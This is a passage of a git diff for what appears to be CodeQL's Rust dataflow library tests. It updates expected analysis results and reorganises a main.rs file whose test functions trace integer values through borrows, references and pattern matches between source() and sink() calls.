-| main.rs:65:13:65:23 | Some(...) [Some] | semmle.label | Some(...) [Some] |
-| main.rs:65:18:65:22 | ref p | semmle.label | ref p |
-| main.rs:65:22:65:22 | p [&ref] | semmle.label | p [&ref] |
-| main.rs:65:33:65:34 | * ... | semmle.label | * ... |
-| main.rs:65:34:65:34 | p [&ref] | semmle.label | p [&ref] |
-| main.rs:76:18:76:21 | SelfParam [MyNumber] | semmle.label | SelfParam [MyNumber] |
-| main.rs:76:31:80:5 | { ... } | semmle.label | { ... } |
-| main.rs:77:15:77:18 | self [MyNumber] | semmle.label | self [MyNumber] |
-| main.rs:78:13:78:38 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
-| main.rs:78:32:78:37 | number | semmle.label | number |
-| main.rs:82:19:82:23 | SelfParam [&ref, MyNumber] | semmle.label | SelfParam [&ref, MyNumber] |
-| main.rs:82:33:86:5 | { ... } | semmle.label | { ... } |
-| main.rs:83:15:83:18 | self [&ref, MyNumber] | semmle.label | self [&ref, MyNumber] |
-| main.rs:84:13:84:39 | &... [&ref, MyNumber] | semmle.label | &... [&ref, MyNumber] |
-| main.rs:84:14:84:39 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
-| main.rs:84:33:84:38 | number | semmle.label | number |
-| main.rs:90:9:90:17 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
-| main.rs:90:21:90:50 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
-| main.rs:90:40:90:49 | source(...) | semmle.label | source(...) |
-| main.rs:91:10:91:18 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
-| main.rs:91:10:91:30 | my_number.to_number(...) | semmle.label | my_number.to_number(...) |
-| main.rs:100:9:100:17 | my_number [&ref, MyNumber] | semmle.label | my_number [&ref, MyNumber] |
-| main.rs:100:21:100:51 | &... [&ref, MyNumber] | semmle.label | &... [&ref, MyNumber] |
-| main.rs:100:22:100:51 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
-| main.rs:100:41:100:50 | source(...) | semmle.label | source(...) |
-| main.rs:101:10:101:18 | my_number [&ref, MyNumber] | semmle.label | my_number [&ref, MyNumber] |
-| main.rs:101:10:101:31 | my_number.get_number(...) | semmle.label | my_number.get_number(...) |
-| main.rs:105:9:105:9 | a [&ref, tuple.0] | semmle.label | a [&ref, tuple.0] |
-| main.rs:105:13:105:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] |
-| main.rs:105:14:105:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] |
-| main.rs:105:15:105:24 | source(...) | semmle.label | source(...) |
-| main.rs:108:9:108:9 | b | semmle.label | b |
-| main.rs:108:19:108:19 | a [&ref, tuple.0] | semmle.label | a [&ref, tuple.0] |
-| main.rs:109:9:109:15 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] |
-| main.rs:109:10:109:15 | TuplePat [tuple.0] | semmle.label | TuplePat [tuple.0] |
-| main.rs:109:11:109:11 | n | semmle.label | n |
-| main.rs:111:10:111:10 | b | semmle.label | b |
+| main.rs:17:13:17:13 | a | semmle.label | a |
+| main.rs:17:17:17:26 | source(...) | semmle.label | source(...) |
+| main.rs:18:13:18:13 | b [&ref] | semmle.label | b [&ref] |
+| main.rs:18:17:18:18 | &a [&ref] | semmle.label | &a [&ref] |
+| main.rs:18:18:18:18 | a | semmle.label | a |
+| main.rs:19:13:19:13 | c | semmle.label | c |
+| main.rs:19:17:19:18 | * ... | semmle.label | * ... |
+| main.rs:19:18:19:18 | b [&ref] | semmle.label | b [&ref] |
+| main.rs:20:14:20:14 | c | semmle.label | c |
+| main.rs:23:29:23:30 | &... [&ref] | semmle.label | &... [&ref] |
+| main.rs:23:29:23:36 | ...: ... [&ref] | semmle.label | ...: ... [&ref] |
+| main.rs:23:30:23:30 | n | semmle.label | n |
+| main.rs:24:14:24:14 | n | semmle.label | n |
+| main.rs:28:13:28:15 | val | semmle.label | val |
+| main.rs:28:19:28:28 | source(...) | semmle.label | source(...) |
+| main.rs:29:30:29:33 | &val [&ref] | semmle.label | &val [&ref] |
+| main.rs:29:31:29:33 | val | semmle.label | val |
+| main.rs:33:13:33:13 | a [&ref, tuple.0] | semmle.label | a [&ref, tuple.0] |
+| main.rs:33:17:33:32 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] |
+| main.rs:33:18:33:32 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] |
+| main.rs:33:19:33:28 | source(...) | semmle.label | source(...) |
+| main.rs:36:13:36:13 | b | semmle.label | b |
+| main.rs:36:23:36:23 | a [&ref, tuple.0] | semmle.label | a [&ref, tuple.0] |
+| main.rs:37:13:37:19 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] |
+| main.rs:37:14:37:19 | TuplePat [tuple.0] | semmle.label | TuplePat [tuple.0] |
+| main.rs:37:15:37:15 | n | semmle.label | n |
+| main.rs:39:14:39:14 | b | semmle.label | b |
+| main.rs:51:13:51:13 | a | semmle.label | a |
+| main.rs:51:17:51:26 | source(...) | semmle.label | source(...) |
+| main.rs:52:13:52:17 | ref p | semmle.label | ref p |
+| main.rs:52:17:52:17 | p [&ref] | semmle.label | p [&ref] |
+| main.rs:53:14:53:15 | * ... | semmle.label | * ... |
+| main.rs:53:15:53:15 | p [&ref] | semmle.label | p [&ref] |
+| main.rs:57:13:57:13 | a [Some] | semmle.label | a [Some] |
+| main.rs:57:17:57:32 | Some(...) [Some] | semmle.label | Some(...) [Some] |
+| main.rs:57:22:57:31 | source(...) | semmle.label | source(...) |
+| main.rs:58:15:58:15 | a [Some] | semmle.label | a [Some] |
+| main.rs:59:13:59:23 | Some(...) [Some] | semmle.label | Some(...) [Some] |
+| main.rs:59:18:59:22 | ref p | semmle.label | ref p |
+| main.rs:59:22:59:22 | p [&ref] | semmle.label | p [&ref] |
+| main.rs:59:33:59:34 | * ... | semmle.label | * ... |
+| main.rs:59:34:59:34 | p [&ref] | semmle.label | p [&ref] |
+| main.rs:73:10:73:10 | [post] b [&ref] | semmle.label | [post] b [&ref] |
+| main.rs:73:14:73:23 | source(...) | semmle.label | source(...) |
+| main.rs:74:14:74:15 | * ... | semmle.label | * ... |
+| main.rs:74:15:74:15 | b [&ref] | semmle.label | b [&ref] |
+| main.rs:105:10:105:10 | [post] c [&ref] | semmle.label | [post] c [&ref] |
+| main.rs:105:14:105:23 | source(...) | semmle.label | source(...) |
+| main.rs:106:14:106:15 | * ... | semmle.label | * ... |
+| main.rs:106:15:106:15 | c [&ref] | semmle.label | c [&ref] |
+| main.rs:112:13:112:21 | ref mut a | semmle.label | ref mut a |
+| main.rs:112:21:112:21 | a [&ref] | semmle.label | a [&ref] |
+| main.rs:112:25:112:34 | source(...) | semmle.label | source(...) |
+| main.rs:113:14:113:15 | * ... | semmle.label | * ... |
+| main.rs:113:15:113:15 | a [&ref] | semmle.label | a [&ref] |
+| main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | semmle.label | ...: MyNumber [MyNumber] |
+| main.rs:149:34:153:1 | { ... } | semmle.label | { ... } |
+| main.rs:150:11:150:11 | m [MyNumber] | semmle.label | m [MyNumber] |
+| main.rs:151:9:151:34 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:151:28:151:33 | number | semmle.label | number |
+| main.rs:156:18:156:21 | SelfParam [MyNumber] | semmle.label | SelfParam [MyNumber] |
+| main.rs:156:31:160:5 | { ... } | semmle.label | { ... } |
+| main.rs:157:15:157:18 | self [MyNumber] | semmle.label | self [MyNumber] |
+| main.rs:158:13:158:38 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:158:32:158:37 | number | semmle.label | number |
+| main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | semmle.label | SelfParam [&ref, MyNumber] |
+| main.rs:162:26:166:5 | { ... } | semmle.label | { ... } |
+| main.rs:163:15:163:18 | self [&ref, MyNumber] | semmle.label | self [&ref, MyNumber] |
+| main.rs:164:13:164:39 | &... [&ref, MyNumber] | semmle.label | &... [&ref, MyNumber] |
+| main.rs:164:14:164:39 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:164:33:164:38 | number | semmle.label | number |
+| main.rs:174:13:174:21 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:174:25:174:54 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:174:44:174:53 | source(...) | semmle.label | source(...) |
+| main.rs:175:14:175:34 | my_number.to_number(...) | semmle.label | my_number.to_number(...) |
+| main.rs:179:13:179:21 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:179:25:179:54 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:179:44:179:53 | source(...) | semmle.label | source(...) |
+| main.rs:180:14:180:31 | ... .get(...) | semmle.label | ... .get(...) |
+| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | semmle.label | &my_number [&ref, MyNumber] |
+| main.rs:180:16:180:24 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:184:13:184:21 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:184:25:184:54 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:184:44:184:53 | source(...) | semmle.label | source(...) |
+| main.rs:186:14:186:22 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:186:14:186:28 | my_number.get(...) | semmle.label | my_number.get(...) |
+| main.rs:190:13:190:21 | my_number [&ref, MyNumber] | semmle.label | my_number [&ref, MyNumber] |
+| main.rs:190:25:190:55 | &... [&ref, MyNumber] | semmle.label | &... [&ref, MyNumber] |
+| main.rs:190:26:190:55 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:190:45:190:54 | source(...) | semmle.label | source(...) |
+| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | semmle.label | my_number [&ref, MyNumber] |
+| main.rs:192:14:192:34 | my_number.to_number(...) | semmle.label | my_number.to_number(...) |
+| main.rs:200:16:200:26 | ...: ... [Return] [&ref] | semmle.label | ...: ... [Return] [&ref] |
+| main.rs:200:29:200:38 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:201:10:201:10 | [post] n [&ref] | semmle.label | [post] n [&ref] |
+| main.rs:201:14:201:18 | value | semmle.label | value |
+| main.rs:210:17:210:17 | [post] p [&ref] | semmle.label | [post] p [&ref] |
+| main.rs:210:20:210:29 | source(...) | semmle.label | source(...) |
+| main.rs:211:14:211:15 | * ... | semmle.label | * ... |
+| main.rs:211:15:211:15 | p [&ref] | semmle.label | p [&ref] |
+| main.rs:218:17:218:22 | [post] &mut n [&ref] | semmle.label | [post] &mut n [&ref] |
+| main.rs:218:22:218:22 | [post] n | semmle.label | [post] n |
+| main.rs:218:25:218:34 | source(...) | semmle.label | source(...) |
+| main.rs:219:14:219:14 | n | semmle.label | n |
+| main.rs:223:16:223:24 | SelfParam [Return] [&ref, MyNumber] | semmle.label | SelfParam [Return] [&ref, MyNumber] |
+| main.rs:223:27:223:37 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:224:14:224:17 | [post] self [&ref, MyNumber] | semmle.label | [post] self [&ref, MyNumber] |
+| main.rs:224:21:224:46 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:224:40:224:45 | number | semmle.label | number |
+| main.rs:228:19:228:34 | ...: ... [Return] [&ref, MyNumber] | semmle.label | ...: ... [Return] [&ref, MyNumber] |
+| main.rs:228:37:228:47 | ...: i64 | semmle.label | ...: i64 |
+| main.rs:229:10:229:10 | [post] n [&ref, MyNumber] | semmle.label | [post] n [&ref, MyNumber] |
+| main.rs:229:14:229:39 | ...::MyNumber(...) [MyNumber] | semmle.label | ...::MyNumber(...) [MyNumber] |
+| main.rs:229:33:229:38 | number | semmle.label | number |
+| main.rs:234:20:234:33 | [post] &mut my_number [&ref, MyNumber] | semmle.label | [post] &mut my_number [&ref, MyNumber] |
+| main.rs:234:25:234:33 | [post] my_number [MyNumber] | semmle.label | [post] my_number [MyNumber] |
+| main.rs:234:36:234:45 | source(...) | semmle.label | source(...) |
+| main.rs:235:14:235:22 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:235:14:235:28 | my_number.get(...) | semmle.label | my_number.get(...) |
+| main.rs:237:14:237:22 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:237:14:237:28 | my_number.get(...) | semmle.label | my_number.get(...) |
+| main.rs:243:9:243:17 | [post] my_number [MyNumber] | semmle.label | [post] my_number [MyNumber] |
+| main.rs:243:23:243:32 | source(...) | semmle.label | source(...) |
+| main.rs:244:14:244:33 | to_number(...) | semmle.label | to_number(...) |
+| main.rs:244:24:244:32 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:246:14:246:33 | to_number(...) | semmle.label | to_number(...) |
+| main.rs:246:24:246:32 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:252:10:252:23 | [post] &mut my_number [&ref, MyNumber] | semmle.label | [post] &mut my_number [&ref, MyNumber] |
+| main.rs:252:15:252:23 | [post] my_number [MyNumber] | semmle.label | [post] my_number [MyNumber] |
+| main.rs:252:30:252:39 | source(...) | semmle.label | source(...) |
+| main.rs:253:14:253:33 | to_number(...) | semmle.label | to_number(...) |
+| main.rs:253:24:253:32 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
+| main.rs:255:14:255:33 | to_number(...) | semmle.label | to_number(...) |
+| main.rs:255:24:255:32 | my_number [MyNumber] | semmle.label | my_number [MyNumber] |
 subpaths
-| main.rs:91:10:91:18 | my_number [MyNumber] | main.rs:76:18:76:21 | SelfParam [MyNumber] | main.rs:76:31:80:5 | { ... } | main.rs:91:10:91:30 | my_number.to_number(...) |
-| main.rs:101:10:101:18 | my_number [&ref, MyNumber] | main.rs:82:19:82:23 | SelfParam [&ref, MyNumber] | main.rs:82:33:86:5 | { ... } | main.rs:101:10:101:31 | my_number.get_number(...) |
+| main.rs:174:13:174:21 | my_number [MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | main.rs:156:31:160:5 | { ... } | main.rs:175:14:175:34 | my_number.to_number(...) |
+| main.rs:180:15:180:24 | &my_number [&ref, MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:180:14:180:31 | ... .get(...) |
+| main.rs:186:14:186:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:186:14:186:28 | my_number.get(...) |
+| main.rs:192:14:192:22 | my_number [&ref, MyNumber] | main.rs:156:18:156:21 | SelfParam [MyNumber] | main.rs:156:31:160:5 | { ... } | main.rs:192:14:192:34 | my_number.to_number(...) |
+| main.rs:210:20:210:29 | source(...) | main.rs:200:29:200:38 | ...: i64 | main.rs:200:16:200:26 | ...: ... [Return] [&ref] | main.rs:210:17:210:17 | [post] p [&ref] |
+| main.rs:218:25:218:34 | source(...) | main.rs:200:29:200:38 | ...: i64 | main.rs:200:16:200:26 | ...: ... [Return] [&ref] | main.rs:218:17:218:22 | [post] &mut n [&ref] |
+| main.rs:234:36:234:45 | source(...) | main.rs:228:37:228:47 | ...: i64 | main.rs:228:19:228:34 | ...: ... [Return] [&ref, MyNumber] | main.rs:234:20:234:33 | [post] &mut my_number [&ref, MyNumber] |
+| main.rs:235:14:235:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:235:14:235:28 | my_number.get(...) |
+| main.rs:237:14:237:22 | my_number [MyNumber] | main.rs:162:12:162:16 | SelfParam [&ref, MyNumber] | main.rs:162:26:166:5 | { ... } | main.rs:237:14:237:28 | my_number.get(...) |
+| main.rs:243:23:243:32 | source(...) | main.rs:223:27:223:37 | ...: i64 | main.rs:223:16:223:24 | SelfParam [Return] [&ref, MyNumber] | main.rs:243:9:243:17 | [post] my_number [MyNumber] |
+| main.rs:244:24:244:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | main.rs:149:34:153:1 | { ... } | main.rs:244:14:244:33 | to_number(...) |
+| main.rs:246:24:246:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | main.rs:149:34:153:1 | { ... } | main.rs:246:14:246:33 | to_number(...) |
+| main.rs:252:30:252:39 | source(...) | main.rs:223:27:223:37 | ...: i64 | main.rs:223:16:223:24 | SelfParam [Return] [&ref, MyNumber] | main.rs:252:10:252:23 | [post] &mut my_number [&ref, MyNumber] |
+| main.rs:253:24:253:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | main.rs:149:34:153:1 | { ... } | main.rs:253:14:253:33 | to_number(...) |
+| main.rs:255:24:255:32 | my_number [MyNumber] | main.rs:149:14:149:24 | ...: MyNumber [MyNumber] | main.rs:149:34:153:1 | { ... } | main.rs:255:14:255:33 | to_number(...) |
 testFailures
 #select
-| main.rs:16:10:16:10 | c | main.rs:13:13:13:22 | source(...) | main.rs:16:10:16:10 | c | $@ | main.rs:13:13:13:22 | source(...) | source(...) |
-| main.rs:32:10:32:11 | * ... | main.rs:31:10:31:19 | source(...) | main.rs:32:10:32:11 | * ... | $@ | main.rs:31:10:31:19 | source(...) | source(...) |
-| main.rs:38:10:38:10 | n | main.rs:42:15:42:24 | source(...) | main.rs:38:10:38:10 | n | $@ | main.rs:42:15:42:24 | source(...) | source(...) |
-| main.rs:52:14:52:15 | * ... | main.rs:50:17:50:26 | source(...) | main.rs:52:14:52:15 | * ... | $@ | main.rs:50:17:50:26 | source(...) | source(...) |
-| main.rs:57:14:57:15 | * ... | main.rs:56:25:56:34 | source(...) | main.rs:57:14:57:15 | * ... | $@ | main.rs:56:25:56:34 | source(...) | source(...) |
-| main.rs:65:33:65:34 | * ... | main.rs:63:22:63:31 | source(...) | main.rs:65:33:65:34 | * ... | $@ | main.rs:63:22:63:31 | source(...) | source(...) |
-| main.rs:91:10:91:30 | my_number.to_number(...) | main.rs:90:40:90:49 | source(...) | main.rs:91:10:91:30 | my_number.to_number(...) | $@ | main.rs:90:40:90:49 | source(...) | source(...) |
-| main.rs:101:10:101:31 | my_number.get_number(...) | main.rs:100:41:100:50 | source(...) | main.rs:101:10:101:31 | my_number.get_number(...) | $@ | main.rs:100:41:100:50 | source(...) | source(...) |
-| main.rs:111:10:111:10 | b | main.rs:105:15:105:24 | source(...) | main.rs:111:10:111:10 | b | $@ | main.rs:105:15:105:24 | source(...) | source(...) |
+| main.rs:20:14:20:14 | c | main.rs:17:17:17:26 | source(...) | main.rs:20:14:20:14 | c | $@ | main.rs:17:17:17:26 | source(...) | source(...) |
+| main.rs:24:14:24:14 | n | main.rs:28:19:28:28 | source(...) | main.rs:24:14:24:14 | n | $@ | main.rs:28:19:28:28 | source(...) | source(...) |
+| main.rs:39:14:39:14 | b | main.rs:33:19:33:28 | source(...) | main.rs:39:14:39:14 | b | $@ | main.rs:33:19:33:28 | source(...) | source(...) |
+| main.rs:53:14:53:15 | * ... | main.rs:51:17:51:26 | source(...) | main.rs:53:14:53:15 | * ... | $@ | main.rs:51:17:51:26 | source(...) | source(...) |
+| main.rs:59:33:59:34 | * ... | main.rs:57:22:57:31 | source(...) | main.rs:59:33:59:34 | * ... | $@ | main.rs:57:22:57:31 | source(...) | source(...) |
+| main.rs:74:14:74:15 | * ... | main.rs:73:14:73:23 | source(...) | main.rs:74:14:74:15 | * ... | $@ | main.rs:73:14:73:23 | source(...) | source(...) |
+| main.rs:106:14:106:15 | * ... | main.rs:105:14:105:23 | source(...) | main.rs:106:14:106:15 | * ... | $@ | main.rs:105:14:105:23 | source(...) | source(...) |
+| main.rs:113:14:113:15 | * ... | main.rs:112:25:112:34 | source(...) | main.rs:113:14:113:15 | * ... | $@ | main.rs:112:25:112:34 | source(...) | source(...) |
+| main.rs:175:14:175:34 | my_number.to_number(...) | main.rs:174:44:174:53 | source(...) | main.rs:175:14:175:34 | my_number.to_number(...) | $@ | main.rs:174:44:174:53 | source(...) | source(...) |
+| main.rs:180:14:180:31 | ... .get(...) | main.rs:179:44:179:53 | source(...) | main.rs:180:14:180:31 | ... .get(...) | $@ | main.rs:179:44:179:53 | source(...) | source(...) |
+| main.rs:186:14:186:28 | my_number.get(...) | main.rs:184:44:184:53 | source(...) | main.rs:186:14:186:28 | my_number.get(...) | $@ | main.rs:184:44:184:53 | source(...) | source(...) |
+| main.rs:192:14:192:34 | my_number.to_number(...) | main.rs:190:45:190:54 | source(...) | main.rs:192:14:192:34 | my_number.to_number(...) | $@ | main.rs:190:45:190:54 | source(...) | source(...) |
+| main.rs:211:14:211:15 | * ... | main.rs:210:20:210:29 | source(...) | main.rs:211:14:211:15 | * ... | $@ | main.rs:210:20:210:29 | source(...) | source(...) |
+| main.rs:219:14:219:14 | n | main.rs:218:25:218:34 | source(...) | main.rs:219:14:219:14 | n | $@ | main.rs:218:25:218:34 | source(...) | source(...) |
+| main.rs:235:14:235:28 | my_number.get(...) | main.rs:234:36:234:45 | source(...) | main.rs:235:14:235:28 | my_number.get(...) | $@ | main.rs:234:36:234:45 | source(...) | source(...) |
+| main.rs:237:14:237:28 | my_number.get(...) | main.rs:234:36:234:45 | source(...) | main.rs:237:14:237:28 | my_number.get(...) | $@ | main.rs:234:36:234:45 | source(...) | source(...) |
+| main.rs:244:14:244:33 | to_number(...) | main.rs:243:23:243:32 | source(...) | main.rs:244:14:244:33 | to_number(...) | $@ | main.rs:243:23:243:32 | source(...) | source(...) |
+| main.rs:246:14:246:33 | to_number(...) | main.rs:243:23:243:32 | source(...) | main.rs:246:14:246:33 | to_number(...) | $@ | main.rs:243:23:243:32 | source(...) | source(...) |
+| main.rs:253:14:253:33 | to_number(...) | main.rs:252:30:252:39 | source(...) | main.rs:253:14:253:33 | to_number(...) | $@ | main.rs:252:30:252:39 | source(...) | source(...) |
+| main.rs:255:14:255:33 | to_number(...) | main.rs:252:30:252:39 | source(...) | main.rs:255:14:255:33 | to_number(...) | $@ | main.rs:252:30:252:39 | source(...) | source(...) |
diff --git a/rust/ql/test/library-tests/dataflow/pointers/main.rs b/rust/ql/test/library-tests/dataflow/pointers/main.rs
index d9d5a5298d25..d7e28c9368f4 100644
--- a/rust/ql/test/library-tests/dataflow/pointers/main.rs
+++ b/rust/ql/test/library-tests/dataflow/pointers/main.rs
@@ -9,49 +9,105 @@ fn sink(s: i64) {
     println!("{}", s);
 }
 
-fn read_through_borrow() {
-    let a = source(21);
-    let b = &a;
-    let c = *b;
-    sink(c); // $ hasValueFlow=21
-}
+// Intraprocedural tests involving immutable borrows
+mod intraprocedural_immutable_borrows {
+    use super::{sink, source};
 
-fn write_through_borrow() {
-    let mut a = 1;
-    sink(a);
-    let b = &mut a;
-    *b = source(39);
-    sink(a); // $ MISSING: hasValueFlow=39
-}
+    pub fn read_through_borrow() {
+        let a = source(21);
+        let b = &a;
+        let c = *b;
+        sink(c); // $ hasValueFlow=21
+    }
 
-fn write_and_read_through_borrow() {
-    let mut a = 12;
-    let b = &mut a;
-    sink(*b);
-    *b = source(37);
-    sink(*b); // $ hasValueFlow=37
-    *b = 0;
-    sink(*b); // now cleared
-}
+    fn takes_borrowed_value(&n: &i64) {
+        sink(n); // $ hasValueFlow=83
+    }
 
-fn takes_borrowed_value(&n: &i64) {
-    sink(n); // $ hasValueFlow=83
-}
+    pub fn pass_borrowed_value() {
+        let val = source(83);
+        takes_borrowed_value(&val);
+    }
 
-fn pass_borrowed_value() {
-    let val = source(83);
-    takes_borrowed_value(&val);
-}
+    pub fn ref_nested_pattern_match() {
+        let a = &(source(23), 1);
 
-mod test_ref_pattern {
-    use super::{sink, source};
+        // Match "in order", reference pattern then tuple pattern
+        let b = match a {
+            &(n, _) => n,
+        };
+        sink(b); // $ hasValueFlow=23
 
-    pub fn read_through_ref() {
+        // Match "out of order", tuple pattern then deref pattern
+        let c = match a {
+            (n, _) => match n {
+                &i => i,
+            },
+        };
+        sink(c); // $ MISSING: hasValueFlow=23
+    }
+
+    pub fn read_through_ref_pattern() {
         let a = source(21);
         let ref p = a;
         sink(*p); // $ hasValueFlow=21
     }
 
+    pub fn ref_pattern_in_match() {
+        let a = Some(source(17));
+        match a {
+            Some(ref p) => sink(*p), // $ hasValueFlow=17
+            None => (),
+        };
+    }
+}
+
+// Intraprocedural tests involving mutable borrows
+mod intraprocedural_mutable_borrows {
+    use super::{sink, source};
+
+    pub fn write_and_read_through_borrow() {
+        let mut a = 12;
+        let b = &mut a;
+        sink(*b);
+        *b = source(37);
+        sink(*b); // $ hasValueFlow=37
+        *b = 0;
+        sink(*b); // now cleared
+    }
+
+    pub fn write_through_borrow() {
+        let mut a = 1;
+        sink(a);
+        let b = &mut a;
+        *b = source(39);
+        sink(a); // $ MISSING: hasValueFlow=39
+    }
+
+    pub fn write_borrow_directly() {
+        let mut a = 1;
+        sink(a);
+        *(&mut a) = source(87);
+        sink(a); // $ MISSING: hasValueFlow=87
+    }
+
+    pub fn clear_through_borrow() {
+        let mut to_be_cleared = source(34);
+        let p = &mut to_be_cleared;
+        *p = 0;
+        sink(to_be_cleared); // variable is cleared
+    }
+
+    pub fn write_through_borrow_in_match(cond: bool) {
+        let mut a = 1;
+        let mut b = 2;
+        let c = if cond { &mut a } else { &mut b };
+        *c = source(24);
+        sink(*c); // $ hasValueFlow=24
+        sink(a); // $ MISSING: hasValueFlow=24
+        sink(b); // $ MISSING: hasValueFlow=24
+    }
+
     pub fn write_through_ref_mut() {
         let ref mut a = source(78);
         sink(*a); // $ hasValueFlow=78
@@ -59,19 +115,43 @@ mod test_ref_pattern {
         sink(*a); // now cleared
     }
 
-    pub fn ref_pattern_in_match() {
-        let a = Some(source(17));
-        let b = match a {
-            Some(ref p) => sink(*p), // $ hasValueFlow=17
-            None => (),
-        };
+    pub fn mutate_tuple() {
+        let mut t = (1, 2, 3);
+        sink(t.1);
+        let r = &mut t.1;
+        *r = source(48);
+        sink(t.1); // $ MISSING: hasValueFlow=48
+        let r = &mut t.1;
+        *r = 0;
+        sink(t.1); // now cleared
+    }
+
+    pub fn tuple_match_mut() {
+        let mut a = (0, 1);
+        sink(a.0);
+        sink(a.1);
+        match a {
+            (ref mut x, ref mut y) => {
+                *x = source(71);
+                *y = 2;
+            }
+        }
+        sink(a.0); // $ MISSING: hasValueFlow=71
+        sink(a.1);
     }
 }
 
+#[derive(Copy, Clone)]
 enum MyNumber {
     MyNumber(i64),
 }
 
+fn to_number(m: MyNumber) -> i64 {
+    match m {
+        MyNumber::MyNumber(number) => number,
+    }
+}
+
 impl MyNumber {
     fn to_number(self) -> i64 {
         match self {
@@ -79,58 +159,129 @@ impl MyNumber {
         }
     }
 
-    fn get_number(&self) -> i64 {
+    fn get(&self) -> i64 {
         match self {
             &MyNumber::MyNumber(number) => number,
         }
     }
 }
 
-fn through_self_in_method_no_borrow() {
-    let my_number = MyNumber::MyNumber(source(33));
-    sink(my_number.to_number()); // $ hasValueFlow=33
-}
+// Interprocedural tests involving immutable borrows
+mod interprocedural_immutable_borrows {
+    use super::*;
 
-fn through_self_in_method_implicit_borrow() {
-    let my_number = MyNumber::MyNumber(source(85));
-    sink(my_number.get_number()); // $ MISSING: hasValueFlow=85
-}
+    pub fn through_self_in_method_no_borrow() {
+        let my_number = MyNumber::MyNumber(source(33));
+        sink(my_number.to_number()); // $ hasValueFlow=33
+    }
+
+    pub fn through_self_in_method_explicit_borrow() {
+        let my_number = MyNumber::MyNumber(source(40));
+        sink((&my_number).get()); // $ hasValueFlow=40
+    }
 
-fn through_self_in_method_explicit_borrow() {
-    let my_number = &MyNumber::MyNumber(source(40));
-    sink(my_number.get_number()); // $ hasValueFlow=40
+    pub fn through_self_in_method_implicit_borrow() {
+        let my_number = MyNumber::MyNumber(source(85));
+        // Implicit borrow
+        sink(my_number.get()); // $ hasValueFlow=85
+    }
+
+    pub fn through_self_in_method_implicit_deref() {
+        let my_number = &MyNumber::MyNumber(source(58));
+        // Implicit dereference
+        sink(my_number.to_number()); // $ hasValueFlow=58
+    }
 }
 
-fn ref_nested_pattern_match() {
-    let a = &(source(23), 1);
-
-    // Match "in order", reference pattern then tuple pattern
-    let b = match a {
-        &(n, _) => n,
-    };
-    sink(b); // $ hasValueFlow=23
-
-    // Match "out of order", tuple pattern then deref pattern
-    let c = match a {
-        (n, _) => match n {
-            &i => i,
-        },
-    };
-    sink(c); // $ MISSING: hasValueFlow=23
+// Interprocedural tests involving mutable borrows
+mod interprocedural_mutable_borrows {
+    use super::*;
+
+    fn set_int(n: &mut i64, value: i64) {
+        *n = value;
+    }
+
+    pub fn mutates_existing_borrow() {
+        // Passing an already borrowed value to a function and then reading from
+        // the same borrow.
+        let mut n = 0;
+        let p = &mut n;
+        sink(*p);
+        set_int(p, source(38));
+        sink(*p); // $ hasValueFlow=38
+    }
+
+    pub fn mutate_primitive_through_function() {
+        // Borrowing at the call and then reading from the unborrowed variable.
+        let mut n = 0;
+        sink(n);
+        set_int(&mut n, source(55));
+        sink(n); // $ hasValueFlow=55
+    }
+
+    impl MyNumber {
+        fn set(&mut self, number: i64) {
+            *self = MyNumber::MyNumber(number);
+        }
+    }
+
